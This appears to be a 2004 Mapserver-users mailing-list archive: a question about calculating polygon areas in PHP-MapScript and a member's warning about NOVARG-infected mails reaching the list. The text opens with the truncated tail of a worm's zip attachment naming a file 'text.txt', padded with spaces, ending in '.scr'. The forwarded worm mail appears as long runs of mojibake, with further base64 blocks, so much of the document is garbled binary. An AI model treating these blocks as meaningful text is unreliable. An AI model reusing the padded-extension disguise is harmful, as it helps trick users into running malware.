AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABQSwECFAAKAAAAAAB0XkIwyicfngBYAAAAWAAAUgAAAAAAAAAAACAAAAAAAAAA dGV4dC50eHQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgLnNjclBLBQYAAAAAAQABAIAAAABwWAAAAAA= ------=_NextPart_000_0014_B6A27FF2.B0BD85FB-- From vogt@geoinform.fh-mainz.de Mon Feb 2 13:16:26 2004 From: vogt@geoinform.fh-mainz.de (Margaritha Vogt) Date: Mon, 02 Feb 2004 14:16:26 +0100 Subject: [Mapserver-users] area Calculation in polygon-shapes Message-ID: <401E4DAA.30508@geoinform.fh-mainz.de> Hello, is there an existing function in PHP-MapScript to calculate areas from a polygon-shape (like "shape.return area" in ArcView). Or any other possibility to get area and perimeters from shapes? Thanks for answering Maggy -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * Dipl.-Ing.(FH) Margaritha Vogt * FH Mainz, FR Geoinformatik * Holzstrasse 36, D-55116 Mainz * Tel: +49-6131-2859-612, Fax: +49-6131-2859-615 * mailto:vogt@geoinform.fh-mainz.de * http://www.geoinform.fh-mainz.de From lists@atsence.nl Mon Feb 2 13:36:35 2004 From: lists@atsence.nl (Lists) Date: Mon, 2 Feb 2004 14:36:35 +0100 Subject: [Mapserver-users] Virus via list In-Reply-To: <200402021152.i12Bq6AP020539@lists.gis.umn.edu> Message-ID: <000201c3e991$976e64f0$0400a8c0@ATSENCEDOMEIN> This is a multi-part message in MIME format. ------=_NextPart_000_0003_01C3E999.F932CCF0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0004_01C3E999.F9345390" ------=_NextPart_001_0004_01C3E999.F9345390 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 R3V5cywNCg0KIA0KDQpNeSB2aXJ1cyBzY2FubmVyIChOb3J0b24pIGhhcyBiZWVuIGJsb2NraW5n IGF0IGxlYXN0IDMgbWFpbHMgdG9kYXkgdGhhdCBhcmUgaW5mZWN0ZWQgd2l0aCB0aGUgTk9WQVJH IHZpcnVzLg0KDQogDQoNCg0KDQogDQoNClBsZWFzZSB0YWtlIHlvdSBtZWFzdXJlcyBiZWZvcmUg d2UgYWxsIGdldCBpbmZlY3RlZC4NCg0KIA0KDQpNZXQgdnJpZW5kZWxpamtlIGdyb2V0LA0KDQog DQoNCkJhcnQgdmFuIEhlaWpuaW5nZW4NCg0KIA0KDQpBVHNlbmNlIEJWDQoNClQ6IDAzMC0yMzE0 OTIyDQoNCkY6IDAzMC0yMzE0OTM1DQoNCkdzbTogMDYtNTE1MTI2OTYNCg0KRS1tYWlsOiBiYXJ0 QGF0c2VuY2UubmwNCg0KVXJsOiB3d3cuYXRzZW5jZS5ubA0KDQogDQoNCiANCg0KLS0tLS1Pb3Jz cHJvbmtlbGlqayBiZXJpY2h0LS0tLS0NClZhbjogbWFwc2VydmVyLXVzZXJzLWFkbWluQGxpc3Rz Lmdpcy51bW4uZWR1IFttYWlsdG86bWFwc2VydmVyLXVzZXJzLWFkbWluQGxpc3RzLmdpcy51bW4u ZWR1XSBOYW1lbnMgc3RldmUubGltZUBkbnIuc3RhdGUubW4udXMNClZlcnpvbmRlbjogbWFhbmRh ZyAyIGZlYnJ1YXJpIDIwMDQgMTI6NTINCkFhbjogbWFwc2VydmVyLXVzZXJzQGxpc3RzLmdpcy51 bW4uZWR1DQpPbmRlcndlcnA6IFtNYXBzZXJ2ZXItdXNlcnNdIE1haWwgRGVsaXZlcnkgU3lzdGVt DQoNCiANCg0KwoFf4oCccSZ6wo/DjcO8w4HDl8OmDQoNCsOKwqHDl8OUSMW+wqnDr8OATXLDt2PD gsOuMWPDkOKAnsOWQsO6wrTigJNZw7rCj8WgwrXDo0VfY3HigJNFw4LDnMKhw5HDtcOG4oSiwqNE w6wNCg0KMSoy4oSiDQoNCsO4wqzigKbDmVrCucWT4oC5w7zDgMaSSUhJw7BCw5Vkw6bCsjt9WMKl OW7igJh9wrhzO8OLw407w6QlfCF+wqbCvsK1w6BVw74gwqnDuE7DsnFOwoHCqyrDj2NaSlzCusOn KMW44oCc4oCewqxMwrZTw57DhcKoW8Ojw7HDksK9w4PCpDvDhXzDvsK2wrbigLDFkuKEosOWJ8K7 MsKrXMOkacO8WOKAmOKAncKnw7gtSMKtw4VWw57ihKJZc8K94oCexaFr4oCay5zCqsKhDQoNCjni gKENCg0Kw7Ejw6XDpcOPS8K0wqXCuOKEosO3w4DDmCjCv01nJFXCp8O8xZJCSyfDl8OXw6RHbFfC kFjDhg0KDQogJsOyw7LDhMOKesOSwoHDgMOuxbjCkMW4w5k5wrFRw7LFkiB5e3bigJPDi8K2LMKo UHQgwrXDsMKww5figJRawrzDrsWgwoFiw6jDlHzihKI1w454d0nCtFc3VcKpPC41wrjCssOzQcOb McO2wrAnwqPDpsKww6jigJTLnOKAng0KDQrDg8OKw65aw7rigKDDt8O4RcOuw7HCuE5zw5PDmV/D hcOoLVvCruKAmmjCgUrihKJBITPCucKkfX3CncOAQcKNxZNWT18yUUTDh8Ouw47Dh3rigKZaw7Ek P8OvwrvigJzDl2TDmXDFoSLigJkp4oCTxZJOwoHDscKvw73CscOCQ8OyNUrDnnTCquKAuVdfwqnF uHogw43Dskd+XznDp8OWw5rCrGdlP8Opw5nigJlwwrLCpOKAusK9w4Ypw5oiw5DCs8KsVsOv4oCh w4cNCg0Kw4/DusOQRMO+Sn7DgCDDlUXDncOjw4bLnMK+cCLDs8Kqw7PDk+KAncW9xZMnw713IE50 eMOd4oCeT8W+T3vCkOKAncKBw6x9w58NCg0KMy1YRsWSw5jigLnigJTigKJMwrFhdUzDtj4zw6HC tsOsOUrDhcKhbDzGksOSKEV6y5zDl8W4J1vDu8KBwoFFDQoNClgww7gkxaB6w4jLnMOCWjlK4oCc KMWSM8K2wqHDlVjihKLDuzrCssKtQW5ywo/DgDPDlFPDvMK8w6jCucOhfcucw5hSWDhd4oChWMKl T8W9w7DigJrDl8OtQ8O64oCUw5bCrMOdwrpsOMOAwqdY4oChw5XCsW0NCg0Kw6LCvjjCrsO7wqxV wrVxy4bDkiXDtcWSKsK0wrDDicOrwrHCq0/igJ03UUnDnMO1YMaSw6wjw4gqwq4pYsOXU8KzSsK+ w4tzeMOfakPCqCzDhVnCoiXFksKPJUPCssOlwrDDseKAoTIn4oCaw6HDg+KAocOEfMOyPMO4T0c7 ZMOKaMKwwrDigLDDtzjDvsOmxpLDvsKuw53DgU414oCT4oCUTzFfw5vCrMWgYsK8KkfDs8OJasOo wrHDmMOeXcOowoEnacO4M8Kdw4cmw4Vmw4TDrMOoM8Ktw5I+xaHDk8K7OMOEasKN4oCgWsOnw6DD rHBIwrvDvHbDrsOmcuKAk8Whw6nDmDXDoGXDn8OowrXDhUbigLB6WcOfTiNexbjLhiVEwqsxNcOu S8Ouw5bCpuKAoOKAsOKAkyRBw7JudEJzbSVV4oC5wpBedcK8UWQ4UUluU8KNxaHDgHHCgTbigKbC gSjDiS5jwo/DpcOrUnrDncOVwr7CvcOVw63DpU4twrpyalJYw4xGDQoNCsKww4A7wqnDjibCpMaS wrzCq8Ovw4nCr1YgLMaSOsOEVXLDryB5wpDCo2bDqW7CrjPDl8KNw7NrwqbDolZ3Uk5kw5zDoDk+ w7vDiDPDn2dpQcWTRsOJw5piw4PihKLDpsOHw5t+diduwqzCrWfDlUtkLybDg8OkwpDCqMK94oCe w61PfCzDkWfigKBhbMK3w6nigKJrw5zDgsKrw54uw7TigJ7Djyh64oC5WMOaKcOHwqnDmsKQQsKh xbhM4oCeZ3TDucOfw47igLkgwr1Zw5zCp+KAoeKAnsO9IyMlwqQ3UCpew6FRw5slw77Cv8Km4oCd w67LnD5p4oCaL1Zyw7DDucKvw6NEZ37Fk8OWwqI+LOKAusOnTsuGw40hWnzDk8OjfcKoSUJvIMOk DQoNCkbFk2bDljfCncOcPGFfw7hudSZ6DQoNCjjCqSggw4DCuXnFkm5ow5k5O8Ocw4ZYLMOdb8Of w6w0XQ0KDQo0w4F6JcOob+KAmsWTXsO+w7vCu8OixpJ74oCYMsOlw4rCv1/DsMKrdsO94oCZwqw0 w7fDnTIpw6zDkcWgbihywqxkLFvGksK+LjpsV8KywrzDj8O1OcucQcOaw6ENCg0KQcOHw5TDsOKA mjjDjsOFw7nCo8OVw4hLTsKQw4DFocOxd8KtxbjCuiZlJcW9acO4W8OPL3tRwqR0Mkt5wrU4dcWS KsK8wrfDvsOBw75Tw7cyw5/CpcOl4oCTwp1kw7DCpMWTIDc6d0gpwq9wPkLDlMOywpDDj8O5w6ow VHZGUcOadMOLw457cMO6a8W9aSnCvsOOw6NNw6LigJxELMOQJUzCoVV2wrA54oCZMHpzfTnCkGnD qsKdw4vDp8Opw53Dpk7DhcW+Y8OUw6HCq8ucxaFdVsOiw4JjQcOuY0dxwq95w6hnIOKAsMKow6Nz w5XDksOww65nWcKnxZPCv3ZXwo8xNcKwNnLFocK9OMK0wrFSeuKEosK2wqdqw6jCqMK9woHDq+KA ncOWw5V6w40m4oCgwrdmwqvCucOBw4wzPC3Crl/DnMKuw57Dt1DDr8OMwrXGkk3CrXJcwqzCtsKw dMO44oC6wqN6wo/DpcK0wrDDhG5rXsOnw5nigJNVQy0hwo11w4TigLrCvV9dUFheNFjCjWHDncKw wrbDpy4kJjzDueKApsKzUEPCvsO1w484w59GZFPCvcO9w7B4w5nDjcW9NHtJUOKEosOpLX1Vw5TC p8Kjw4zCosKxPy1nd8OkUcOhwqTDgGfDocKmw4rLnMOUwq3CtuKAosK4W8Oaw6ZBw5U3MiI1w5jC rMWSwrgNCg0KLUzDmsOuw5XDhUFtw5RCw4LDqsOqDQoNCiANCg0KIA0KDQo= ------=_NextPart_001_0004_01C3E999.F9345390 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable

Guys,

 

My virus scanner (Norton) has been blocking = at least 3 mails today that are infected with the NOVARG virus.

 

 

Please take you measures before we all get = infected.

 

Met vriendelijke groet,

 

Bart van Heijningen

 

ATsence BV

T: 030-2314922

F: 030-2314935

Gsm: 06-51512696

E-mail: bart@atsence.nl

Url: www.atsence.nl

 

 

-----Oorspronkelijk bericht-----
Van: mapserver-users-admin@lists.gis.umn.edu [mailto:mapserver-users-admin@lists.gis.umn.edu] Namens = steve.lime@dnr.state.mn.us
Verzonden: maandag 2 februari 2004 12:52
Aan: mapserver-users@lists.gis.umn.edu
Onderwerp: [Mapserver-users] Mail Delivery System

 

=C2=81_=E2=80=9Cq&z=C2=8F=C3=8D=C3=BC=C3=81= =C3=97=C3=A6

=C3=8A=C2=A1=C3=97=C3=94H=C5=BE=C2=A9=C3=AF=C3= =80Mr=C3=B7c=C3=82=C3=AE1c=C3=90=E2=80=9E=C3=96B=C3=BA=C2=B4=E2=80=93Y=C3= =BA=C2=8F=C5=A0=C2=B5=C3=A3E_cq=E2=80=93E=C3=82=C3=9C=C2=A1=C3=91=C3=B5=C3= =86=E2=84=A2=C2=A3D=C3=AC

1*2=E2=84=A2

=C3=B8=C2=AC=E2=80=A6=C3=99Z=C2=B9=C5=93=E2=80= =B9=C3=BC=C3=80=C6=92IHI=C3=B0B=C3=95d=C3=A6=C2=B2;}X=C2=A59n=E2=80=98}=C2= =B8s;=C3=8B=C3=8D;=C3=A4%|!~=C2=A6=C2=BE=C2=B5=C3=A0U=C3=BE =C2=A9=C3= =B8N=C3=B2qN=C2=81=C2=AB*=C3=8FcZJ\=C2=BA=C3=A7(=C5=B8=E2=80=9C=E2=80=9E=C2= =ACL=C2=B6S=C3=9E=C3=85=C2=A8[=C3=A3=C3=B1=C3=92=C2=BD=C3=83=C2=A4;=C3=85= |=C3=BE=C2=B6=C2=B6=E2=80=B0=C5=92=E2=84=A2=C3=96'=C2=BB2=C2=AB\=C3=A4i=C3= =BCX=E2=80=98=E2=80=9D=C2=A7=C3=B8-H=C2=AD=C3=85V=C3=9E=E2=84=A2Ys=C2=BD=E2= =80=9E=C5=A1k=E2=80=9A=CB=9C=C2=AA=C2=A1

9=E2=80=A1

=C3=B1#=C3=A5=C3=A5=C3=8FK=C2=B4=C2=A5=C2=B8=E2= =84=A2=C3=B7=C3=80=C3=98(=C2=BFMg$U=C2=A7=C3=BC=C5=92BK'=C3=97=C3=97=C3=A4= GlW=C2=90X=C3=86

 &=C3=B2=C3=B2=C3=84=C3=8Az=C3=92=C2=81= =C3=80=C3=AE=C5=B8=C2=90=C5=B8=C3=999=C2=B1Q=C3=B2=C5=92 y{v=E2=80=93= =C3=8B=C2=B6,=C2=A8Pt =C2=B5=C3=B0=C2=B0=C3=97=E2=80=94Z=C2=BC=C3=AE=C5=A0=C2=81b=C3=A8=C3=94|=E2= =84=A25=C3=8ExwI=C2=B4W7U=C2=A9<.5=C2=B8=C2=B2=C3=B3A=C3=9B1=C3=B6=C2=B0= '=C2=A3=C3=A6=C2=B0=C3=A8=E2=80=94=CB=9C=E2=80=9E

=C3=83=C3=8A=C3=AEZ=C3=BA=E2=80=A0=C3=B7=C3=B8= E=C3=AE=C3=B1=C2=B8Ns=C3=93=C3=99_=C3=85=C3=A8-[=C2=AE=E2=80=9Ah=C2=81J=E2= =84=A2A!3=C2=B9=C2=A4}}=C2=9D=C3=80A=C2=8D=C5=93VO_2QD=C3=87=C3=AE=C3=8E=C3= =87z=E2=80=A6Z=C3=B1$?=C3=AF=C2=BB=E2=80=9C=C3=97d=C3=99p=C5=A1"=E2=80= =99)=E2=80=93=C5=92N=C2=81=C3=B1=C2=AF=C3=BD=C2=B1=C3=82C=C3=B25J=C3=9Et=C2= =AA=E2=80=B9W_=C2=A9=C5=B8z =C3=8D=C3=B2G~_9=C3=A7=C3=96=C3=9A=C2=ACge?=C3=A9=C3=99=E2=80=99p=C2=B2=C2= =A4=E2=80=BA=C2=BD=C3=86)=C3=9A"=C3=90=C2=B3=C2=ACV=C3=AF=E2=80=A1=C3= =87

=C3=8F=C3=BA=C3=90D=C3=BEJ~=C3=80 =C3=95E= =C3=9D=C3=A3=C3=86=CB=9C=C2=BEp"=C3=B3=C2=AA=C3=B3=C3=93=E2=80=9D=C5= =BD=C5=93'=C3=BDw Ntx=C3=9D=E2=80=9EO=C5=BEO{=C2=90=E2=80=9D=C2=81=C3= =AC}=C3=9F

3-XF=C5=92=C3=98=E2=80=B9=E2=80=94=E2=80=A2L=C2= =B1auL=C3=B6>3=C3=A1=C2=B6=C3=AC9J=C3=85=C2=A1l<=C6=92=C3=92(Ez=CB=9C= =C3=97=C5=B8'[=C3=BB=C2=81=C2=81E

X0=C3=B8$=C5=A0z=C3=88=CB=9C=C3=82Z9J=E2=80=9C= (=C5=923=C2=B6=C2=A1=C3=95X=E2=84=A2=C3=BB:=C2=B2=C2=ADAnr=C2=8F=C3=803=C3= =94S=C3=BC=C2=BC=C3=A8=C2=B9=C3=A1}=CB=9C=C3=98RX8]=E2=80=A1X=C2=A5O=C5=BD= =C3=B0=E2=80=9A=C3=97=C3=ADC=C3=BA=E2=80=94=C3=96=C2=AC=C3=9D=C2=BAl8=C3=80= =C2=A7X=E2=80=A1=C3=95=C2=B1m

=C3=A2=C2=BE8=C2=AE=C3=BB=C2=ACU=C2=B5q=CB=86=C3= =92%=C3=B5=C5=92*=C2=B4=C2=B0=C3=89=C3=AB=C2=B1=C2=ABO=E2=80=9D7QI=C3=9C=C3= =B5`=C6=92=C3=AC#=C3=88*=C2=AE)b=C3=97S=C2=B3J=C2=BE=C3=8Bsx=C3=9FjC=C2=A8= ,=C3=85Y=C2=A2%=C5=92=C2=8F%C=C2=B2=C3=A5=C2=B0=C3=B1=E2=80=A12'=E2=80=9A= =C3=A1=C3=83=E2=80=A1=C3=84|=C3=B2<=C3=B8OG;d=C3=8Ah=C2=B0=C2=B0=E2=80= =B0=C3=B78=C3=BE=C3=A6=C6=92=C3=BE=C2=AE=C3=9D=C3=81N5=E2=80=93=E2=80=94O= 1_=C3=9B=C2=AC=C5=A0b=C2=BC*G=C3=B3=C3=89j=C3=A8=C2=B1=C3=98=C3=9E]=C3=A8= =C2=81'i=C3=B83=C2=9D=C3=87&=C3=85f=C3=84=C3=AC=C3=A83=C2=AD=C3=92>= ;=C5=A1=C3=93=C2=BB8=C3=84j=C2=8D=E2=80=A0Z=C3=A7=C3=A0=C3=ACpH=C2=BB=C3=BC= v=C3=AE=C3=A6r=E2=80=93=C5=A1=C3=A9=C3=985=C3=A0e=C3=9F=C3=A8=C2=B5=C3=85= F=E2=80=B0zY=C3=9FN#^=C5=B8=CB=86%D=C2=AB15=C3=AEK=C3=AE=C3=96=C2=A6=E2=80= =A0=E2=80=B0=E2=80=93$A=C3=B2ntBsm%U=E2=80=B9=C2=90^u=C2=BCQd8QInS=C2=8D=C5= =A1=C3=80q=C2=816=E2=80=A6=C2=81(=C3=89.c=C2=8F=C3=A5=C3=ABRz=C3=9D=C3=95= =C2=BE=C2=BD=C3=95=C3=AD=C3=A5N-=C2=BArjRX=C3=8CF

=C2=B0=C3=80;=C2=A9=C3=8E&=C2=A4=C6=92=C2=BC= =C2=AB=C3=AF=C3=89=C2=AFV ,=C6=92:=C3=84Ur=C3=AF = y=C2=90=C2=A3f=C3=A9n=C2=AE3=C3=97=C2=8D=C3=B3k=C2=A6=C3=A2VwRNd=C3=9C=C3= =A09>=C3=BB=C3=883=C3=9FgiA=C5=93F=C3=89=C3=9Ab=C3=83=E2=84=A2=C3=A6=C3= =87=C3=9B~v'n=C2=AC=C2=ADg=C3=95Kd/&=C3=83=C3=A4=C2=90=C2=A8=C2=BD=E2= =80=9E=C3=ADO|,=C3=91g=E2=80=A0al=C2=B7=C3=A9=E2=80=A2k=C3=9C=C3=82=C2=AB= =C3=9E.=C3=B4=E2=80=9E=C3=8F(z=E2=80=B9X=C3=9A)=C3=87=C2=A9=C3=9A=C2=90B=C2= =A1=C5=B8L=E2=80=9Egt=C3=B9=C3=9F=C3=8E=E2=80=B9 =C2=BDY=C3=9C=C2=A7=E2=80=A1=E2=80=9E=C3=BD##%=C2=A47P*^=C3=A1Q=C3=9B%=C3= =BE=C2=BF=C2=A6=E2=80=9D=C3=AE=CB=9C>i=E2=80=9A/Vr=C3=B0=C3=B9=C2=AF=C3= =A3Dg~=C5=93=C3=96=C2=A2>,=E2=80=BA=C3=A7N=CB=86=C3=8D!Z|=C3=93=C3=A3}= =C2=A8IBo =C3=A4

F=C5=93f=C3=967=C2=9D=C3=9C<a_=C3=B8nu&= z

8=C2=A9( =C3=80=C2=B9y=C5=92nh=C3=999;=C3= =9C=C3=86X,=C3=9Do=C3=9F=C3=AC4]

4=C3=81z%=C3=A8o=E2=80=9A=C5=93^=C3=BE=C3=BB=C2= =BB=C3=A2=C6=92{=E2=80=982=C3=A5=C3=8A=C2=BF_=C3=B0=C2=ABv=C3=BD=E2=80=99= =C2=AC4=C3=B7=C3=9D2)=C3=AC=C3=91=C5=A0n(r=C2=ACd,[=C6=92=C2=BE.:lW=C2=B2= =C2=BC=C3=8F=C3=B59=CB=9CA=C3=9A=C3=A1

A=C3=87=C3=94=C3=B0=E2=80=9A8=C3=8E=C3=85=C3=B9= =C2=A3=C3=95=C3=88KN=C2=90=C3=80=C5=A1=C3=B1w=C2=AD=C5=B8=C2=BA&e%=C5= =BDi=C3=B8[=C3=8F/{Q=C2=A4t2Ky=C2=B58u=C5=92*=C2=BC=C2=B7=C3=BE=C3=81=C3=BE= S=C3=B72=C3=9F=C2=A5=C3=A5=E2=80=93=C2=9Dd=C3=B0=C2=A4=C5=93 7:wH)=C2=AFp>B=C3=94=C3=B2=C2=90=C3=8F=C3=B9=C3=AA0TvFQ=C3=9At=C3=8B=C3= =8E{p=C3=BAk=C5=BDi)=C2=BE=C3=8E=C3=A3M=C3=A2=E2=80=9CD,=C3=90%L=C2=A1Uv=C2= =B09=E2=80=990zs}9=C2=90i=C3=AA=C2=9D=C3=8B=C3=A7=C3=A9=C3=9D=C3=A6N=C3=85= =C5=BEc=C3=94=C3=A1=C2=AB=CB=9C=C5=A1]V=C3=A2=C3=82cA=C3=AEcGq=C2=AFy=C3=A8= g =E2=80=B0=C2=A8=C3=A3s=C3=95=C3=92=C3=B0=C3=AEgY=C2=A7=C5=93=C2=BF= vW=C2=8F15=C2=B06r=C5=A1=C2=BD8=C2=B4=C2=B1Rz=E2=84=A2=C2=B6=C2=A7j=C3=A8= =C2=A8=C2=BD=C2=81=C3=AB=E2=80=9D=C3=96=C3=95z=C3=8D&=E2=80=A0=C2=B7f= =C2=AB=C2=B9=C3=81=C3=8C3<-=C2=AE_=C3=9C=C2=AE=C3=9E=C3=B7P=C3=AF=C3=8C= =C2=B5=C6=92M=C2=ADr\=C2=AC=C2=B6=C2=B0t=C3=B8=E2=80=BA=C2=A3z=C2=8F=C3=A5= =C2=B4=C2=B0=C3=84nk^=C3=A7=C3=99=E2=80=93UC-!=C2=8Du=C3=84=E2=80=BA=C2=BD= _]PX^4X=C2=8Da=C3=9D=C2=B0=C2=B6=C3=A7.$&<=C3=B9=E2=80=A6=C2=B3PC=C2= =BE=C3=B5=C3=8F8=C3=9FFdS=C2=BD=C3=BD=C3=B0x=C3=99=C3=8D=C5=BD4{IP=E2=84=A2= =C3=A9-}U=C3=94=C2=A7=C2=A3=C3=8C=C2=A2=C2=B1?-gw=C3=A4Q=C3=A1=C2=A4=C3=80= g=C3=A1=C2=A6=C3=8A=CB=9C=C3=94=C2=AD=C2=B6=E2=80=A2=C2=B8[=C3=9A=C3=A6A=C3= =9572"5=C3=98=C2=AC=C5=92=C2=B8

-L=C3=9A=C3=AE=C3=95=C3=85Am=C3=94B=C3=82=C3=AA= =C3=AA

 

 

------=_NextPart_001_0004_01C3E999.F9345390-- ------=_NextPart_000_0003_01C3E999.F932CCF0 Content-Type: image/jpeg; name="image001.jpg" Content-Transfer-Encoding: base64 Content-ID: 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 